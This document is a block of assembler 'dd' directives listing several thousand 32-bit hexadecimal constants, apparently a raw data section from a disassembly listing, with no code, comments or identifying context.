		dd 0F22F0C41h, 0E096025Dh, 0D1EEFFAEh, 6C1AD38h, 346E3F90h
		dd 0E73C3F14h, 7E6A2F02h, 92D7A40Ch, 3580DFCFh,	4E027423h
		dd 7727E625h, 296A4899h, 0B8BCA4h, 83851EEEh, 0CB97690Fh
		dd 0AE98D11h, 5F095E1Eh, 0A5A100CFh, 0FC31A6A9h, 0C95C9DF4h
		dd 0DBB3C510h, 899BDA0Fh, 5D377F1Fh, 0E8EDAD81h, 0AF6898A0h
		dd 91B85680h, 1F5D092Ah, 405F2721h, 5A9D29A0h, 90CA8331h
		dd 50DA1C14h, 0F98C0D1h, 0B6792734h, 0EFD16961h, 4CB85B96h
		dd 35210116h, 84F2F9CDh, 9FAB2349h, 9CE581D3h, 0A32B60FDh
		dd 5C6131C0h, 9D2E0A05h, 91C72EABh, 43218F35h, 743A2BD9h
		dd 32E3AA89h, 12499D0Bh, 32004A7Bh, 0FBF385CEh,	98FD008Ch
		dd 0BB918B52h, 0FF276B7Dh, 1A8045D1h, 0B7D7387Bh, 7A798090h
		dd 0C40D1722h, 81F84500h, 6E781CE7h, 26A257Ch, 0CD3757h
		dd 0F5D2FC57h, 66055F3Ah, 507B95BBh, 688765FCh,	552200E0h
		dd 0C9090A0Dh, 0E2413E61h, 137C7CE9h, 0D363A912h, 9A817FB8h
		dd 2080A937h, 719581B7h, 94A5C4CEh, 436EAF6Ch, 626D8600h
		dd 0FD735DE7h, 0E2F9254Fh, 0C7E2DF8Bh, 0F9C07EEDh, 9DE03203h
		dd 0CD2647D3h, 32E4D08h, 0FE8A5090h, 9213E9A4h,	2B0F11F6h
		dd 0AEF2219Dh, 0AFBF8270h, 0BF5CF8DDh, 54D5FC0Fh, 0F20555ACh
		dd 0FB8BC908h, 2E8546C1h, 16B0EF37h, 7F1DFDDDh,	4084FE56h
		dd 3E9F88Ah, 0F9F1388h,	70AB1892h, 0DC6D709Bh, 69220C00h
		dd 8A7766ECh, 799009Ah,	0DD1AAF73h, 810119D9h, 0E17EFDC7h
		dd 482FB009h, 722D1C91h, 29543B2h, 0B4C191BFh, 92187466h
		dd 25ECF3D0h, 25D129h, 0CDBA5160h, 642459DDh, 8B60485Ah
		dd 2D6E42AFh, 0BE7B6172h, 5E04E225h, 0A209136Bh, 41886703h
		dd 0C82B0308h, 0D1D2A8B7h, 6D559640h, 121B4497h, 0D28D8953h
		dd 94E05F45h, 808005CDh, 0C41A4BCFh, 189EBCF0h,	0BFB3315Dh
		dd 1C616ED3h, 77B13013h, 0F72C1204h, 6F6054E7h,	9A96AAh
		dd 601A085Dh, 9CF564F3h, 0FB772D06h, 5A4E5F70h,	24AAF7DFh
		dd 35123A09h, 0B7BD8CEAh, 20BB8D4Ah, 59BD2385h,	0F7D8144Bh
		dd 0D380881Dh, 8469E840h, 54FB8B4Bh, 77408B16h,	0D8614B60h
		dd 104378EDh, 493114E2h, 0B7545EA7h, 0FDE04535h, 9A7B9D33h
		dd 2E2118B1h, 5473B901h, 76F1ABCEh, 0F0DFE67Ah,	4BC2DDEDh
		dd 5566EFCh, 493BFC8Eh,	40ECB103h, 9EBE84B8h, 9EDCC1D8h
		dd 0C237F79h, 0B0E3B84Fh, 0EC91B17h, 0BA2430F0h, 0B27CB716h
		dd 9ECD55FBh, 5E2F3A24h, 1970D403h, 4EA08E1h, 3E20835h
		dd 0D28AEB0Dh, 597D31A0h, 0E61C8F25h, 46335C64h, 0F9791F25h
		dd 0B08B557Ah, 68928B2Bh, 12D05Dh, 24355E59h, 4363C5AFh
		dd 0BD5E9497h, 4DFDFE62h, 4853E01Dh, 0B50EC15Bh, 0CEEF0B0Fh
		dd 1A296980h, 69305C1Eh, 24F1C482h, 0C3FCE124h,	8830E2D2h
		dd 0C4D8AD14h, 90161920h, 45456457h, 0A438BC61h, 0DB811B00h
		dd 953E1F55h, 0CB9A4FE5h, 5D8F41E9h, 0EB6660C5h, 0AAE19BF0h
		dd 415BC801h, 8EB74DE4h, 0BD4BE43Ah, 0A5289D21h, 0A5DBD569h
		dd 0DC3A5443h, 0A31F978h, 42E6BAEBh, 0E3FABFD0h, 815A302Bh
		dd 70015BE3h, 0B5897E01h, 0E23A2D59h, 7DF6D713h, 7812FBA3h
		dd 0A949D523h, 3E08450h, 0BA594355h, 8293E94Ah,	777C40BFh
		dd 29A52522h, 3AE76800h, 0B720127Dh, 0F1EBC66h,	32623918h
		dd 56516630h, 860B1FA8h, 5CCACFA7h, 0B99EDD24h,	318582A5h
		dd 56C01429h, 0E96EA0F3h, 9502703Eh, 0D2DE8056h, 4BB1B2DFh
		dd 0E8BC6DE9h, 50D64801h, 0EF9E5AF9h, 0EEB3242Eh, 0B8D6ED9Bh
		dd 0C2D18E9Ch, 408BBE8Ah, 8321F9AEh, 0EA8CBDD3h, 0A64A83CEh
		dd 2036A0C6h, 439A0954h, 5D8D29E2h, 50E66A66h, 0D1951273h
		dd 0FC19BC0Ch, 10B88C1Bh, 1FEFCA0h, 0CC9D084Bh,	5130FCC7h
		dd 0ED0217BFh, 965F13A0h, 4002DC60h, 58FA36E7h,	4C49BE00h
		dd 0B8EE2180h, 5FCD1C0Eh, 1416A914h, 8400BB8Ah,	0E637918Fh
		dd 93B8424Eh, 0CF61F938h, 0B00036A3h, 3B38F2A5h, 20099E85h
		dd 5396CFECh, 0A95E708Fh, 2BD1D4C4h, 0AE00E1B6h, 5CC4A26h
		dd 401DE28h, 5C8E138Bh,	132F3CB5h, 0EC2CFD1Bh, 0FA2535E2h
		dd 6896A47Ah, 0B0D7B600h, 838FBB6Dh, 0CE19491Dh, 0AFD4490Fh
		dd 118B296h, 22233D72h,	0F320DD66h, 8D784B44h, 3B72DCh
		dd 277DDFA7h, 5B7CA2A8h, 0C4B7FD1Ch, 0C2162CB5h, 236ADA26h
		dd 878351B7h, 0A0B1535Dh, 26B52949h, 490D25DDh,	0D356B86Ah
		dd 62CC0055h, 308A1550h, 19D1BE09h, 48C412h, 0A83F9EEAh
		dd 1148D9AAh, 0C22F7CEAh, 12DB761h, 7AB4E3F2h, 54A57F5Fh
		dd 4ADF02Bh, 0A702ED95h, 0CF005435h, 0BB51C8F6h, 7985094Bh
		dd 0DA595F77h, 1C352C46h, 2741E9F5h, 0F40D74h, 6FA8AA41h
		dd 80E8CDA1h, 0D94BDBE2h, 2AB9B68Eh, 4EE28485h,	1CFD2800h
		dd 10F24D6Ah, 0A6AC3A0Eh, 17DEE21Eh, 0E0EDD7D9h, 0DD303FE0h
		dd 25E89827h, 0CC5C137Dh, 5F04E273h, 0E51F643Dh, 0A5825F81h
		dd 0F84BB50Ch, 0AA51E435h, 5A3AA515h, 4AAB2ACh,	0D18ABC08h
		dd 7189CB87h, 3F184D90h, 6B2A3DE5h, 1D23B0h, 0B85AABCAh
		dd 0BC094C05h, 0DEB2446Eh, 0FE22CF3Ah, 0BC5C4AEFh, 5E69C66Bh
		dd 6B10E129h, 0ED5F7AB7h, 0D7A842h, 0B1494DCBh,	0CF81203Dh
		dd 1BE18C0Bh, 3AD1D824h, 0F3CA38CAh, 6AB85A7Ah,	97879F4Eh
		dd 0E65AE9EDh, 0DCFA261Ch, 5D7B3B0Bh, 0BD412615h, 342EC587h
		dd 0B878FD52h, 37630119h, 0B3E9E178h, 7FC17F26h, 0E0041709h
		dd 852A311Eh, 8995C751h, 0D8FD7B61h, 1F38263Dh,	406E003Ch
		dd 2072BB88h, 0AE324B55h, 29856730h, 574CB515h,	0B4065400h
		dd 0C37877Fh, 2E4C002Fh, 5EC6687Ch, 424E0B04h, 1B23166Bh
		dd 0B51D22Fh, 7C13A17Dh, 0EE016B05h, 0CC6F198Dh, 0BD5B318Eh
		dd 5B175D95h, 172B32A5h, 0EF34EE86h, 0ACD186ACh, 4183CD4Ah
		dd 0E69ED746h, 25923DD5h, 58982CFAh, 1B4EC798h,	3DAB65ACh
		dd 0CE1BAB9Dh, 0A4516BDh, 9B3AF2DDh, 34688297h,	0BBD7409Eh
		dd 64113D73h, 0CB6048FCh, 0B9B1D907h, 40529761h, 3559A9A8h
		dd 0E4FDEB9Fh, 0C0DB0DD4h, 75522AC1h, 476D4950h, 234E47Eh
		dd 0B38EB35Bh, 0F786C2A0h, 5B6B514Dh, 744F0000h, 6D95099Eh
		dd 282EF989h, 0D08A2299h, 60284136h, 0F70B81D8h, 755B566Fh
		dd 0E8EF5118h, 220A59BFh
		dd 9CBF048Bh, 0DB741154h, 0C01A8868h, 99136C6Eh, 0C8E72E39h
		dd 1A791200h, 0BE7C7CE7h, 483C29B9h, 41D09ABh, 80825073h
		dd 0FD2BE6DFh, 5356A8E2h, 0B2774A71h, 63B1D7E0h, 0A1ADF84Eh
		dd 3179889Dh, 0C481ED69h, 0B01CB8A2h, 25342CBBh, 68E06D1Fh
		dd 70951AE9h, 1D0B9E1h,	778AB247h, 0C792C87Eh, 5CC18B2Dh
		dd 3A9BD6AFh, 0E6A9E582h, 4684298h, 128C9047h, 95BA7D2Eh
		dd 422587D4h, 0F9B189B7h, 0F99093CBh, 3A5B83Eh,	0D4FABBCDh
		dd 44497721h, 48AF4A71h, 0E63016A9h, 0EC1FABBEh, 0D5D33F81h
		dd 0B17FE212h, 2213831h, 609082F5h, 0F7A18253h,	25827C5Fh
		dd 388C79h, 0A23C21BEh,	3059908h, 60074013h, 51B00426h
		dd 0DD0A8AEAh, 1AE95658h, 8C570300h, 6DB199h, 890B0153h
		dd 0EEFDF228h, 843B0902h, 0DB90615Ah, 0B6277057h, 58B4490Bh
		dd 0B1F201E8h, 0EB326AC9h, 4A423E10h, 1A843C8Dh, 0AB916FDFh
		dd 1CC82F9Ah, 1D1732C0h, 0E491034Ah, 31A9DA9Dh,	64757DA2h
		dd 9D897C0Ch, 0B47F28A9h, 0B786ECF1h, 0FB121D66h, 4EB6026Ah
		dd 0CD715E0h, 0B1104F17h, 85BD5913h, 0FF4C884Bh, 479CC70Eh
		dd 5F1FA0A5h, 6F2017h, 64AE3769h, 31E092C6h, 2E759516h
		dd 876B3529h, 0E90908A8h, 0EC9C5590h, 1F4E4090h, 0C88CF033h
		dd 4EA5F4h, 65B57747h, 4552DA5Ch, 97DBE64Ah, 0AB7C5F83h
		dd 88E406F8h, 0B12AF9Ch, 2BF798ABh, 27C0BD52h, 926C7A90h
		dd 68BCA211h, 1DD6BB78h, 0D93EADBCh, 2D900261h,	9C9B866h
		dd 686906B3h, 0CF3D4702h, 0F64B4656h, 4E05F44Bh, 8F52941Fh
		dd 61C7C1AAh, 0E28A6B17h, 6866F825h, 8C490FEEh,	6AFE842Bh
		dd 1DB588C0h, 391CB10Ah, 0C8542A27h, 4143E51h, 92351F8h
		dd 0D3AC20B0h, 12E6082Ah, 0AD9D3370h, 0BEA84A89h, 12A0BD3Ch
		dd 1FEE852h, 0AF911706h, 0A0C38368h, 18E0C321h,	32C4EB95h
		dd 5B8129F5h, 0FF27492Bh, 42616DFCh, 52E3369h, 0EC8B620h
		dd 0B2B2DCADh, 0BB12791Ah, 25B8B329h, 4B928126h, 9901CBC4h
		dd 32138F96h, 0E23B34D0h, 50AA9664h, 920AEF4h, 7EDA54C4h
		dd 9F533DACh, 0ADCB7700h, 0D37DB32Eh, 321EACFEh, 26C0BA43h
		dd 0A3F827CDh, 0C8582Bh, 48F64FC0h, 0D74A7F84h,	1AB34CE0h
		dd 218CE9EDh, 0B60DB5Ch, 0B6116D9Dh, 32089736h,	0CFA9D190h
		dd 9407DA0Dh, 412823Ch,	0B1958956h, 955FDEA0h, 5F113DA4h
		dd 45F5B5C8h, 0DD39444Dh, 0FF8D4625h, 1346B703h, 0EBE63A00h
		dd 17CE747Fh, 0B5BC0089h, 1D01ED9Ch, 3925B284h,	545364C2h
		dd 65A13820h, 0BA5B533h, 7B0CFE2Dh, 15A808ACh, 0C5952961h
		dd 2A040443h, 0BC9FB91Fh, 102716F5h, 91240519h,	8E6A474Ah
		dd 4EDCE3E1h, 7CA5B2E8h, 55E2900h, 7E3C7D92h, 894CC2EEh
		dd 0A7D6798Dh, 0DE0DFCA7h, 0EECDFD31h, 282B0DD9h, 5176B592h
		dd 0BD0FC588h, 2C09493Dh, 95AD58F9h, 9670BBD3h,	0E5A8C443h
		dd 32FC1318h, 2FB918D8h, 3BFFC80h, 29DF8DD5h, 0B599C02Bh
		dd 0BA1234A5h, 14DE2AE1h, 0F17AEEC0h, 8D5E2191h, 3D2A78A1h
		dd 33133A77h, 71C14FE9h, 0C02E6874h, 0D4015960h, 0EFF2B25Fh
		dd 222B8218h, 0BC82578Dh, 5F041F29h, 0C8949ABBh, 0A568C019h
		dd 392DDDBAh, 607874DBh, 0A94199BFh, 0F5D305B7h, 1AA439AEh
		dd 0C6C2C5D6h, 12252EC1h, 2A32F2Bh, 3CA5FBBFh, 5191560Eh
		dd 8BF72F70h, 0B531B0B0h, 0E880FF5Bh, 0E1B8A091h, 0F8253D63h
		dd 8A279166h, 250EDEDEh, 0CCC43D2h, 2561911Dh, 124DE1FFh
		dd 3F3F00CBh, 0B7D2095h, 377BAA32h, 0A9C23740h,	6561D825h
		dd 4AE911C1h, 291CF5F3h, 0AC2F9295h, 29EBE2F7h,	5C0EB6Dh
		dd 656056B8h, 0C80EFE01h, 3440F1ABh, 618C9C61h,	0CE31B501h
		dd 69401CD7h, 37558A70h, 7002BE46h, 0C9EDF4F3h,	5922C5D0h
		dd 95F9F028h, 0B1D3F28Bh, 12C00170h, 0E12105F7h, 0A0330Ch
		dd 92EF8CCDh, 0D423AFh,	57B0D7A9h, 442F54B3h, 0CB81AD3Fh
		dd 29F92392h, 2A091D61h, 863A5C9Dh, 0F1251E2Dh,	0A0FF6E02h
		dd 0BE1EADB9h, 50DF44B9h, 193918B8h, 9D6AF851h,	9DC150D6h
		dd 0CE2A1755h, 0DB884ACBh, 5A0900BFh, 483B1DCEh, 8C1203D3h
		dd 24AB7045h, 84E2EEC1h, 5131019Fh, 2A5BF88Ah, 0B71DC8B3h
		dd 0AA64B8C8h, 127589D9h, 0C0DFCE37h, 0F8C040h,	3EB89D22h
		dd 57588CDAh, 0F5006095h, 64FB97C1h, 9D41503Ah,	0FF46505h
		dd 9913D850h, 5877EEFh,	0E8EB1A15h, 0AB24E00h, 1446338h
		dd 1DDC6C11h, 2F87C071h, 0D856C04h, 13AA0F16h, 295F61C0h
		dd 16215BDh, 0B023FA7h,	0E77FEE02h, 961415Ch, 3A2CC1B5h
		dd 0BF24C44Ah, 19C29E9Eh, 7BE1F5A7h, 6575CE61h,	292D3E30h
		dd 4AF413C2h, 0F8FC52E9h, 122B98FEh, 0B2A1F4B8h, 3BD61FAAh
		dd 374F80B0h, 7CF50E44h, 8456BD01h, 0D09AA30h, 7035DB06h
		dd 0F1274F73h, 0D634562Ch, 8001A46h, 0E1534D85h, 0E49D0D72h
		dd 7BEB01E1h, 0C0CD8996h, 0E5FE91C3h, 46965B3Dh, 40F6F04h
		dd 0F3D4DDB7h, 49F297BFh, 2D70CC7Bh, 0CC8F4B0Fh, 0DC5B58B8h
		dd 0AD5EBBA3h, 57D8C9ABh, 6003B29Ch, 0FA0EBBB8h, 0F3481707h
		dd 7D72FCCBh, 0E8EE495h, 2D028DD2h, 82E60360h, 50255E26h
		dd 89B35E5Fh, 0DE11FA8Ah, 4E1B40E9h, 0F64BB0D0h, 8B8925FCh
		dd 0FB8C985Fh, 0C90F04E3h, 0AE518A3Ch, 260238D9h, 0D5EE2006h
		dd 980988F2h, 843158F7h, 2DAE2B68h, 0A217761Ch,	8052D110h
		dd 55B5E78Ah, 0F368B246h, 5525174Eh, 0B9FC5910h, 6525500h
		dd 266FF7AAh, 8C9E0939h, 0EE005616h, 905B838Dh,	3DB7BFh
		dd 0BA29C033h, 83A6049h, 0D527A6A7h, 0AD04FC2Dh, 1A596A5Bh
		dd 3063F019h, 341D710Bh, 242763Dh, 2FB1BD0Bh, 6EFE6104h
		dd 66980B58h, 0CB80A1EBh, 0F77A7AABh, 66F9B51Bh, 9F644D80h
		dd 5109F3BBh, 0C4C14BCAh, 1CFA786Bh, 9AFB91h, 0FF921F1Ch
		dd 3A77E0E2h, 65771925h, 7E571373h, 39464C9Eh, 0D34FB539h
		dd 9016EABh, 9A540A26h,	53105D9Ch, 1D0061C6h, 0F3819724h
		dd 25C056BFh, 4C715B71h, 0A1B513DDh, 2DA62ED7h,	0B078C7E2h
		dd 0C5949E25h, 4FA01A80h, 0EE211E5Eh, 10019065h, 886BDB81h
		dd 0FD4F067Ch, 30ECC0h,	5D971B4h, 4DDA7953h, 7F926497h
		dd 0CFF100E3h, 12217CDDh, 4C035492h, 46E9DA5Dh,	0F72CA1DEh
		dd 0BFADF460h, 7E591929h, 0D6D754A7h, 257C1646h, 66CCBC97h
		dd 83408742h, 32E0B3Dh,	7FF69639h, 575B5789h, 8BC6722h
		dd 4DB7100Ch, 9625EC6Eh, 0FADCC956h, 0ADAE013Eh, 0B70316D3h
		dd 0B9BD2A1Ch, 2D01B3FCh, 0E1931E14h, 0D7DE6632h, 19DA5339h
		dd 7D38B77Eh, 0AAB21A4Ah, 5E36BD3h, 5927DC0h, 2B09D9EBh
		dd 0B8564A23h, 0B926FDBDh, 12572619h, 0B5B3AC0Ah, 0BEA4F7A6h
		dd 0E3F023A1h, 0BF560066h, 4E74F070h, 9BBD605Bh, 408EB366h
		dd 4BD0810Bh, 0C81E8561h, 6006556h, 8F4B88BBh, 53C5F7Eh
		dd 0FBF98C0h, 6499AE80h, 3A275CFAh, 4ADFF0F3h, 4A30AF5Bh
		dd 870A4DBDh, 4015ED25h, 2CB8CBC4h, 3361FF96h, 406915BDh
		dd 0F0BCF65Bh, 3AA9FAE1h, 0A95AC78Dh, 9089A2F8h, 9BB509Bh
		dd 143C733h, 0CEBC6958h, 95F502DCh, 0AFB16B2Eh,	4A0135E6h
		dd 65ED1820h, 8A6E5DC4h, 605A0BCh, 8C17025Bh, 0C72C8AD9h
		dd 2DD5140h, 526C5E95h,	0FD4B476h, 0DEEF686Bh, 84D93AE9h
		dd 0B0294600h, 25CFC9h,	0AD2E7F45h, 0C42C4153h,	2B8A7A4Bh
		dd 0C9880D21h, 0DE0A4F2Bh, 2D85A3B2h, 0C9125410h, 0FF35913h
		dd 8BE8600h, 15B1AA5h
		dd 72BA388Bh, 2A546DB8h, 127B82D9h, 0BCBFA904h,	0E1278C15h
		dd 0E4095C9Eh, 8B422CFEh, 41098AB1h, 8038806h, 0ADD85EBFh
		dd 0F927ADFCh, 0B58C5304h, 618EF4C6h, 12030D40h, 0AE2991BDh
		dd 8B01183Dh, 0E9012ED5h, 0F9B12A78h, 0E3B8F63Dh, 0FCA8DD2Dh
		dd 41D62EDCh, 0C0DF54A3h, 2B1341EBh, 0E8C4999Dh, 60C132ADh
		dd 3A919523h, 20EF5713h, 0E1E08FE4h, 0D93D5AB0h, 0D4D0827Fh
		dd 80283044h, 95EF258Bh, 0D68D02B9h, 615E7785h,	9AC7C07Fh
		dd 68608248h, 6A97E7D3h, 0F0B7035Bh, 7C9BEC61h,	36394EC0h
		dd 0E74F12D4h, 2348B418h, 879D4FBDh, 37FD89D1h,	2DCB8065h
		dd 309640FCh, 90E8EA27h, 7C6172h, 9746045h, 0E3C21471h
		dd 81C3C400h, 7CE98DFh,	49A7A024h, 0FE1F4ABBh, 4C0304Bh
		dd 0BDF4F94Dh, 97AD9031h, 78BB78E4h, 1278CA70h,	0FE820FBAh
		dd 0B27028h, 94FFF415h,	63A8272h, 17EDC204h, 6FFB6ADEh
		dd 0F7640723h, 0F3F13679h, 10E4D309h, 1BB7956Ah, 1CB31F80h
		dd 4E457640h, 0B04027E8h, 32831238h, 0B95B6000h, 571E30AAh
		dd 0E379B789h, 0C9FD542Fh, 0EC2FBFFCh, 168F43CAh, 65C851BDh
		dd 2A2541C9h, 21F78DB4h, 67647284h, 0D912FB52h,	2251AE9h
		dd 0E3149E37h, 91A24FFEh, 6D537907h, 0F9ACD08Dh, 0D802293Eh
		dd 0AE9993F6h, 0AFAA7D16h, 2CA4A80Fh, 0CC89819Fh, 0B52DDBBAh
		dd 6F5E90BAh, 6DF0003Ch, 410D425Ch, 3F00EB26h, 1A8AF75Fh
		dd 25400AEAh, 8BC7B7E9h, 16BB5308h, 0F5C1818Ah,	45B72A20h
		dd 0D0A030A0h, 759D3312h, 7B739DEBh, 0F0E741E6h, 8B6269B0h
		dd 0DC130105h, 0CCBB66FAh, 0A38B864h, 0CABAB6h,	24B7D820h
		dd 48EBF4A1h, 0B258BCC5h, 4981FFC0h, 5C4FDC1Dh,	5D7BAACh
		dd 0EE6CB3BEh, 46C0C211h, 7517F2F9h, 0A2589065h, 13F40729h
		dd 29FEEC41h, 0E800E5E4h, 4FCE1C81h, 5A419A22h,	5736E7B5h
		dd 244F7D82h, 9DC271EAh, 2F5F3BD1h, 8DB767h, 2869C60Dh
		dd 8D16FB52h, 2BFA591h,	1B143169h, 3D71003Dh, 88C0F60h
		dd 315019C0h, 0B52B6595h, 0F49A38C5h, 17A6627h,	0DB4C2A52h
		dd 0C0B033BAh, 81598531h, 70E600B3h, 6C8840BBh,	71E4120Bh
		dd 0CFF0E4F5h, 559D8988h, 412B9B0Dh, 17D381EEh,	0B53560D1h
		dd 1CE62F5Ah, 34B55328h, 0C2A33335h, 0DF5CF9AFh, 17619D84h
		dd 0FEBDD9EAh, 9E02F10Ah, 0C1D18B80h, 0E59291CFh, 0D57C97E9h
		dd 150C3DFh, 4D801162h,	81560430h, 0A60889B4h, 592F3877h
		dd 4703B62h, 97AC34BBh,	22BBB916h, 0E3D2C010h, 53E93DA5h
		dd 4B75E695h, 22BA8A2Ch, 0C0F49D0Ch, 5301CB60h,	88314BF5h
		dd 9882DB3h, 26BD21B5h,	0C3298DCFh, 6D01B221h, 0C82A0B60h
		dd 6160F5F0h, 0B69AE6A2h, 0C0309724h, 558239C9h, 62BCDB10h
		dd 0E1EB6013h, 4BC532E4h, 36C9C32h, 0C4401F8h, 5F87A2A9h
		dd 38706EDBh, 259474DEh, 71CA0BE5h, 0B586E0F7h,	0E10264D1h
		dd 0B940BE8Dh, 79B96661h, 0B8FCEA9Ah, 0C02B2C0Bh, 5802DEC9h
		dd 2B76B825h, 12EE76D2h, 0EA6CAB26h, 0B7F49D2Bh, 78F4C224h
		dd 7DEF00DAh, 0AB4B3B7h, 1197CB6Ah, 0E541525Dh,	292E2B09h
		dd 0A580435Dh, 0C131B9E4h, 11E9B589h, 55142F2Eh, 0B982396Ch
		dd 0C18AC2Ah, 0AC3B2EE5h, 0A8015E4Dh, 5C87E255h, 9A09F63Ah
		dd 713ECE4h, 0EB4D31E7h, 0E4C26DD9h, 0C152D45h,	6012305Bh
		dd 864CB230h, 0ECFA00A2h, 7EFCA3C9h, 0AB12EDAEh, 0D0090161h
		dd 7E96D531h, 7450A5BBh, 0AEA20B72h, 61EEB9A9h,	0B77C9C00h
		dd 80E1FF46h, 8A7D4BE7h, 969D2251h, 0A7470Bh, 433302E3h
		dd 5DE50500h, 0EFBD7C79h, 1209F89Dh, 0E27B8586h, 7E93885Dh
		dd 6E001D46h, 0A56B399h, 0B2129CE4h, 4AE27401h,	36652B8Dh
		dd 0BF5DF0EAh, 0D08F0959h, 81FB601Fh, 30F85772h, 21318409h
		dd 9D6470ADh, 0BBC0064Dh, 4CC5412h, 74E656Fh, 12410EEEh
		dd 29148DEBh, 27F5A82Eh, 0E6DC1E12h, 3F786825h,	0FD9D8801h
		dd 6EAE244Bh, 0DC4707h,	7662828Ah, 6D33537h, 60E589FEh
		dd 51206650h, 0F2594B1Fh, 93E00145h, 0AF091AC3h, 4019E430h
		dd 614A5E17h, 0DA5BAFB7h, 0A0FC8043h, 164E152Ch, 0EC74B3F7h
		dd 8A110BBh, 0A53F9026h, 0B37F4AFAh, 0FB318F2Fh, 0B69017CEh
		dd 0A5BD095Ah, 7C99750Dh, 685182F1h, 0E172BB48h, 27F5BBBh
		dd 6DB8B7F1h, 5879C8FBh, 193DDF4h, 5E73A8AEh, 2AFD8AAFh
		dd 21A74E53h, 26CDBFA0h, 6E4CEF14h, 8E516BBh, 8DA19AACh
		dd 0E9F91001h, 0F72FEFD9h, 0A6D8A095h, 959316B2h, 0B91205DCh
		dd 0B073AB05h, 21E1B109h, 29BE702Eh, 2D63518Dh,	0EC39BD31h
		dd 0E20FE6BAh, 0F7CC1Bh, 13607AC7h, 94C0E80Dh, 0F99F9190h
		dd 0D6B84AFAh, 0BC564D14h, 72412DA7h, 0C5065C47h, 4F045110h
		dd 2400F3A2h, 0C5EC7629h, 0B34B6AC2h, 710EF8F7h, 0AE77DA55h
		dd 14298F6Bh, 0FCB81677h, 66B57CCFh, 6181AABEh,	7E090316h
		dd 7485B4C5h, 312475E9h, 0AC0D343Ah, 4CA75F7Dh,	372300B7h
		dd 380478B8h, 25B7DF61h, 66A19FB8h, 503BD0BBh, 209ABF03h
		dd 748B0BD6h, 0C249E151h, 7C58D652h, 0C67CDC6Fh, 4815B95h
		dd 520D4DBDh, 443D4FB3h, 0C578380h, 0E738CECFh,	67E4B300h
		dd 0B215088Eh, 0A6B01020h, 0D9D3081Ah, 1946765Fh, 6AC7FD02h
		dd 8F5C8C6h, 0DEC4CD0Bh, 2731A081h, 0AE54752Eh,	3E046D35h
		dd 610F23CDh, 79299D87h, 7EDA6E56h, 8225D436h, 1C0D651Dh
		dd 5AFB2D61h, 7167D0h, 7652250Ah, 873788A7h, 2510E495h
		dd 24DECE19h, 0B68A4AEEh, 0DF81003Bh, 72046878h, 37E9325Bh
		dd 8D896037h, 724EF5h, 3AABEAC5h, 0BE44AAB5h, 85019D05h
		dd 9B52202Dh, 0A4AE3BAAh, 0D4A8C8EDh, 1DFD5B04h, 28812168h
		dd 0AB042A05h, 0D75C4382h, 7E002937h, 0BEA18EFEh, 508B420Fh
		dd 2B40EDA9h, 95291651h, 0ACFD9465h, 2BF4A23Dh,	9497EA37h
		dd 17F04983h, 0B161CE06h, 14544B52h, 384F03C0h,	62705F4Dh
		dd 0BDF95B50h, 565A5653h, 94DDCB6Bh, 26109018h,	27C7E54Bh
		dd 50628975h, 0DFBDBDACh, 2C118480h, 79D6E574h,	0EC6050ABh
		dd 61B5A8D1h, 806EB55Bh, 555A4C93h, 9C804646h, 0FC822D05h
		dd 80756B53h, 2B8E2878h, 34892DA8h, 0D095BA37h,	0ABB80C8h
		dd 97661396h, 2FF84B39h, 0C009F020h, 0F2A4FEAFh, 0A18416FAh
		dd 28D4C8D4h, 3CEB2D00h, 4EB3F12Ch, 0B21E0325h,	9814573Bh
		dd 5BDF4C0Ah, 28CAC75Fh, 0CDC8C796h, 90EA1D08h,	0F46200B5h
		dd 6D63AF52h, 67E99D00h, 0CDD67F7Dh, 831A9761h,	9700E5D9h
		dd 6FA6EF20h, 0C6DC019Fh, 0AB06D55Ah, 70342EB6h, 6BD362ADh
		dd 59CB126Bh, 242D46E1h, 0A238AFB8h, 0D1A68BC9h, 931BD156h
		dd 3940901h, 5024BD72h,	0FF12B220h, 814E58E3h, 2E74C54Fh
		dd 1423576Bh, 0F00BE816h, 73377F6Ah, 0CEC1BA9Eh, 58E050A7h
		dd 0CF4AD468h, 0FC8A004Eh, 67B3BF96h, 50663915h, 54063D77h
		dd 9CBC00CDh, 0BA41003h, 0F1D28DA2h, 0DA2AF831h, 0C918C8D8h
		dd 314068DCh, 0A20325BDh, 6743565Fh, 185F990Fh,	4B0BCFE6h
		dd 72198A97h, 0C8EC0B8Bh, 0AA0A50A8h, 0EF5294DEh, 0AD5FF916h
		dd 8C18ACA4h, 93BB853Ah, 1F05F9C4h, 0DBAA1421h,	0D7E6D347h
		dd 5354662Fh, 7BA20B55h, 8564A1C2h, 5B9DDFEEh, 181D5977h
		dd 0F2CE00A9h, 9DCB8713h, 6D5A39A7h, 82159FE0h,	5C5D0977h
		dd 0B8DB44C5h, 2D5BA279h, 0A7F82AA0h, 0D170DA4Ah, 0E07CC0C7h
		dd 4BE714D4h, 6063AE60h, 4C80CAF8h, 78D2071Eh, 9C66182h
		dd 2CF518FDh, 21153CE1h
		dd 231FF380h, 5EFC83C4h, 0FD7A6204h, 0CEAA5F26h, 0EB81007Fh
		dd 0A6E9196Ah, 0F85C9FF3h, 79E501DEh, 0E01A88B4h, 9282E682h
		dd 47F52C5Dh, 79ECEB39h, 0C1B09113h, 7F297C62h,	4D55E0E2h
		dd 6416E4BEh, 82C9C5BEh, 7F291393h, 31796C18h, 9B899C1Dh
		dd 0A6625240h, 5C8728E4h, 0FE001E06h, 0C4BF9098h, 492AB26Ah
		dd 20F5D950h, 951A67F1h, 66984BD1h, 17F49F7Dh, 9AE6003Eh
		dd 0BE98090Dh, 0C1A50189h, 0A19D33DFh, 85F93E22h, 0CAFAE261h
		dd 0A64FE71Fh, 7EA028FCh, 5801F205h, 89D1CEC6h,	522E11A6h
		dd 89ADEC8Eh, 7075C490h, 561F0093h, 0DA96EADEh,	3601BB74h
		dd 6AC3A376h, 23D8B6CAh, 0DFD1C50Dh, 0B8ECED90h, 3FB200DAh
		dd 0F28A5F9Ch, 0B77CEA97h, 34DB4CD6h, 0BBECAC80h, 6128148Eh
		dd 0BF27C1A3h, 0AE375799h, 0BC149B81h, 353F4616h, 43C2EA21h
		dd 5E3AD512h, 809090D5h, 0CC9D000Eh, 6F6C4AC6h,	81025BF5h
		dd 5DD252F7h, 323A5709h, 0D3B557h, 0F1C2A27Eh, 954F89C9h
		dd 0B7A300BBh, 80D1FF04h, 8967D73Eh, 5C16C99Dh,	38647133h
		dd 26AC555h, 18DF6EBBh,	396A6D40h, 8B90800Ah, 0D20DFA48h
		dd 41044F08h, 62D48ABFh, 0F9DE4BE4h, 79C2DA82h,	17956040h
